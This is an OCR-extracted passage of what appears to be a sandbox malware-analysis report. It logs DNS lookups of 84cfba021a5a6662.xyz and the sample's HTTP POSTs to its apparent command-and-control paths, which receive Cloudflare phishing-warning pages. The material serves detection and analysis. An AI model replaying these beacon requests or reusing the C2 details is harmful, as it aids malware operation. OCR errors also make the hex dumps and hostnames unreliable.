Jan 29, 2021 17:38:50.982636929 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.982666969 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.982681036 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:50.982695103 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.982716084 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.982732058 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:51.037255049 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:51.175381899 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:56.520461082 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:57.523209095 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:57.523325920 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:57.568842888 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.568869114 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578520060 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578546047 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578562975 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578577995 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578589916 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:57.578664064 CET 49720 80 192.168.2.5 104.21.23.16

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 29, 2021 17:38:27.302711964 CET 54795 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:27.352559090 CET 53 54795 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:28.275805950 CET 49557 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:28.326750994 CET 53 49557 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:29.316663980 CET 61733 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:29.364526987 CET 53 61733 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:30.362878084 CET 65447 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:30.413861036 CET 53 65447 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:31.698425055 CET 52441 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:31.756263018 CET 53 52441 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:31.938312054 CET 62176 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:31.995935917 CET 53 62176 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:33.800276041 CET 59596 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:33.848179102 CET 53 59596 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:35.741360903 CET 65296 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:35.792155027 CET 53 65296 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:37.242661953 CET 63183 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:37.290729046 CET 53 63183 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:38.545653105 CET 60151 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:38.608894110 CET 53 60151 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:39.016016006 CET 56969 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:39.066718102 CET 53 56969 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:46.470663071 CET 55161 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:46.521174908 CET 53 55161 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:48.390662909 CET 54757 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:48.447154045 CET 53 54757 8.8.8.8 192.168.2.5
Jan 29, 2021 17:38:48.941138983 CET 49992 53 192.168.2.5 8.8.8.8
Jan 29, 2021 17:38:49.004883051 CET 53 49992 8.8.8.8 192.168.2.5
Jan 29, 2021 17:39:07.998764992 CET 60075 53 192.168.2.5 8.8.8.8

Copyright null 2021 Page 38 of 81



Timestamp Source Port Dest Port Source IP Dest IP

Jan 29, 2021 17:39:08.047472000 CET 53 60075 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:17.272034883 CET 55016 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:17.330410004 CET 53 55016 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:17.341788054 CET 64345 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:17.389991999 CET 53 64345 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:19.839441061 CET 57128 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:19.890294075 CET 53 57128 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:23.981044054 CET 54791 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:24.040030956 CET 53 54791 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:31.853482008 CET 50463 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:31.916234970 CET 53 50463 8.8.8.8 192.168.2.5

Jan 29, 2021 17:39:48.442440033 CET 50394 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:39:48.516184092 CET 53 50394 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:06.826400042 CET 58530 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:06.885725021 CET 53 58530 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:07.455677032 CET 53813 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:07.506537914 CET 53 53813 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:08.294910908 CET 63732 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:08.351274967 CET 53 63732 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:08.736057043 CET 57344 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:08.794970036 CET 53 57344 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:09.225752115 CET 54450 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:09.287789106 CET 53 54450 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:09.808257103 CET 59261 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:09.868410110 CET 53 59261 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:10.324461937 CET 57151 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:10.380609035 CET 53 57151 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:11.045612097 CET 59413 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:11.104239941 CET 53 59413 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:11.746665001 CET 60516 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:11.810204029 CET 53 60516 8.8.8.8 192.168.2.5

Jan 29, 2021 17:41:12.223228931 CET 51649 53 192.168.2.5 8.8.8.8

Jan 29, 2021 17:41:12.279397964 CET 53 51649 8.8.8.8 192.168.2.5

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 29, 2021 17:38:38.545653105 CET 192.168.2.5 8.8.8.8 Ox3eda Standard query  84cfba02la A (IP address) IN (0x0001)
(0) 5a6662.xyz

Jan 29, 2021 17:38:46.470663071 CET 192.168.2.5 8.8.8.8 0x8685 Standard query  84cfba02la A (IP address) IN (0x0001)
(0) 5a6662.xyz

Jan 29, 2021 17:38:48.390662909 CET 192.168.2.5 8.8.8.8 0x9341 Standard query  84cfba02la A (IP address) IN (0x0001)
(0) 5a6662.xyz

Jan 29, 2021 17:39:23.981044054 CET 192.168.2.5 8.8.8.8 0x34f7 Standard query  84CFBAO021A A (IP address) IN (0x0001)
(0) 5A6662.xyz

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 29, 2021 8.8.8.8 192.168.2.5 Ox3eda No error (0) 84cfba021a 104.21.23.16 A (IP address) IN (0x0001)

17:38:38.608894110 5a6662.xyz

CET

Jan 29, 2021 8.8.8.8 192.168.2.5 Ox3eda No error (0) 84cfba021a 172.67.208.74 A (IP address) IN (0x0001)

17:38:38.608894110 5a6662.xyz

CET

Jan 29, 2021 8.8.8.8 192.168.2.5 0x8685 No error (0) 84cfba021a 104.21.23.16 A (IP address) IN (0x0001)

17:38:46.521174908 5a6662.xyz

CET

Jan 29, 2021 8.8.8.8 192.168.2.5 0x8685 No error (0) 84cfba021a 172.67.208.74 A (IP address) IN (0x0001)

17:38:46.521174908 5a6662.xyz

CET

Jan 29, 2021 8.8.8.8 192.168.2.5 0x9341 No error (0) 84cfba021a 104.21.23.16 A (IP address) IN (0x0001)

17:38:48.447154045 5a6662.xyz

CET

Jan 29, 2021 8.8.8.8 192.168.2.5 0x9341 No error (0) 84cfba021a 172.67.208.74 A (IP address) IN (0x0001)

17:38:48.447154045 5a6662.xyz

CET
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Timestamp Source IP Dest IP

Jan 29, 2021 8.8.8.8 192.168.2.5

17:39:24.040030956
CET

Jan 29, 2021 8.8.8.8 192.168.2.5

17:39:24.040030956
CET

Trans ID Reply Code Name CName Address Type Class

HTTP Request Dependency Graph

e 84cfba021a5a6662.xyz

e 84cfha021la5a6662.xy

HTTP Packets

Session ID Source IP
0 192.168.2.5

kBytes
Timestamp transferred
Jan 29, 2021 201

17:38:38.678960085 CET

Jan 29, 2021 203
17:38:38.736063004 CET

Copyright null 2021

Source Port

49717

Direction

ouT

0x34f7

0x34f7

No error (0) 84CFBA021A 104.21.23.16 A (IP address) IN (0x0001)
5A6662.xyz

No error (0) 84CFBA021A 172.67.208.74 A (IP address) IN (0x0001)
5A6662.xyz

Destination IP Destination Port Process

104.21.23.16 80 C:\Users\user\Desktop\N1yprTBBXs.exe

Data

POST //ffine/send HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 82

Host: 84cfha021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d7bca264b855809d8d4b05eb87c1fc9ff1611938318; expires=Sun, 28-Feb-21 16:38:38 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09be17b000020742ba61000000001

Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/VVa.nel.cloudflare.com\Vrreport?s=a3UCUvsAer7TzIHI7Rq
Z210zp4MXDATkVbciut%2BqSqgM88D7IkhSNCuuNNnGNouxY9fCPsAPQ84cnzGgw14sT6V%2FvdKx4QyHNVgG35%2F
9005FN99pkg%3D%3D"}], "group":"cf-nel"}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6194627bfdd62074-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport
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kBytes

Timestamp transferred Direction
Jan 29, 2021 207 ouT
17:38:38.746789932 CET

Jan 29, 2021 209 IN
17:38:38.798671007 CET

Jan 29, 2021 213 ouT

17:38:38.929573059 CET

Copyright null 2021

Data

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfha021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d7bca264b855809d8d4b05eb87c1fc9ff1611938318; expires=Sun, 28-Feb-21 16:38:38 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09bel1c00000207450ae9000000001

Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\a.nel.cloudflare.com\/report?s=QwgipNFngtvthWM4vzg
5cnnB4phOPVB1H1nJ94d5%2FtLdtPbaa%2BQE7%2BXe%2BYnHgqam2aS14G0%2BggKTplC%2Ff7GX7uk9
mowxUSpRHOPBWPJ3%2BX%2BHEB6IJPA%3D%3D"}],"group":"cf-nel"}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6194627c6ede2074-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61 6d 65

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfha021a5a6662.xyz

Page 41 of 81



Timestamp

Jan 29, 2021
17:38:38.990947008 CET

Jan 29, 2021
17:38:42.105988979 CET

Jan 29, 2021
17:38:42.157530069 CET

Copyright null 2021

kBytes
transferred

215

251

253

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d7bca264b855809d8d4b05eb87c1fc9ff1611938318; expires=Sun, 28-Feb-21 16:38:38 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09be27c00002074ed374000000001

Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\Va.nel.cloudflare.com\Vireport?s=P8QyBKprg2Hhaamq%2B
Mcuho9ch135xp0%2BSZUjTzq%2F%2FDTBAYHPz9WKa43m0ISZZP4TsqalluYbjMSN5kImH%2FyM4akUgLONICIMuYL
1%2BxDyR412x2QkFQ%3D%3D"}],"group":"cf-nel"}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6194627d8a242074-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="vi

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:42 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=dafc2269efb29a3d032863a3cf4025f661611938322; expires=Sun, 28-Feb-21 16:38:42 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09beede0000207413915000000001

Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\Va.nel.cloudflare.com\V/report?s=LgciL5091s7SgIANBDd
XrT5hEIDO3RYRQ8s%2F1XbWIWN%2BG0j8y34MbINMoV2Wm105WERIjf22gNgxarQgxw%2BdkZuNj2d1pZIgsLORpJ6
OryQrhHRwrQ%3D%3D"}],"group":"cf-nel"}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 619462916ad42074-AMS

Data Raw: 31 30 64 33 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
